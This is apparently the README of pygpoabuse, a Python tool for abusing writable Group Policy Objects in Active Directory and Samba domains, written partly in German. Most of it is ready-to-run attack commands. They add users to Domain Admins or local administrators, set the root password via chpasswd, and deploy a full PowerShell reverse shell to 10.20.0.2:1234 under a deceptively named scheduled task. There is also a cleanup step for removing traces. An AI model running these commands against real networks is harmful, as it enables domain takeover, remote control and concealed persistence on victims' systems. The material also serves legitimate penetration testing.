hackndo/pygpoabuseTeilweise Python-Implementierung von SharpGPOAbuse
Host/User targeting via filters (mirrors SharpGPOAbuse --FilterEnabled):
-filter-enabled Enable GPO Host/User targeting so the scheduled task only runs for a specific host/user
-target-dns-name FQDN
Computer task: DNS/FQDN of the only host that should run the task (e.g. dc01.corp.local)
-target-username DOMAIN\USER
User task: only this user processes the task (format: DOMAIN\username)
-target-user-sid SID User task: SID of the targeted user (optional, more robust matching)
# Add Domain user and add to Domain Admins via Domain-Controller
python3 pygpoabuse.py red.local/user:Testing123 -gpo-id D9A65E7F-112D-49B9-AF7A-4FC2BA092BF6 -taskname SecurityUpdate -dc-ip 192.168.152.2 -command 'net user UserGPO P@ssw0rd /add && net group "Domain Admins" UserGPO /add' -filter-enabled -target-dns-name dc01.red.local
Python **Teil-**Implementierung von SharpGPOAbuse von @pkb1s
Dieses Werkzeug kann verwendet werden, wenn ein kontrolliertes Konto ein vorhandenes GPO ändern kann, das für einen oder mehrere Benutzer und Computer gilt. Es erstellt eine sofortige geplante Aufgabe als SYSTEM auf dem entfernten Computer für Computer-GPO oder als angemeldeter Benutzer für Benutzer-GPO.
Standardmäßig wird ein lokaler Administrator hinzugefügt.
Fügen Sie den Benutzer john zur lokalen Administratorgruppe hinzu (Passwort: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
Beispiel für eine Reverse Shell
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user
Löschen Sie die geplante Aufgabe nach ihrer Ausführung.
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --cleanup
Dieses Werkzeug kann auch mit Samba-AD-Domänen verwendet werden. Es erstellt einen sofortigen Job als root auf dem entfernten Computer für Computer-GPO.
Erstellen Sie zuerst ein Bash-Skript oder eine ELF-Datei.
#!/bin/bash
echo "root:1234" | chpasswd
Führen Sie dann das Werkzeug mit dem Argument --linux-exec aus.
./pygpoabuse.py DOMAIN/user:password -gpo-id "12345677-ABCD-9876-ABCD-123456789012" --linux-exec /path/to/executable
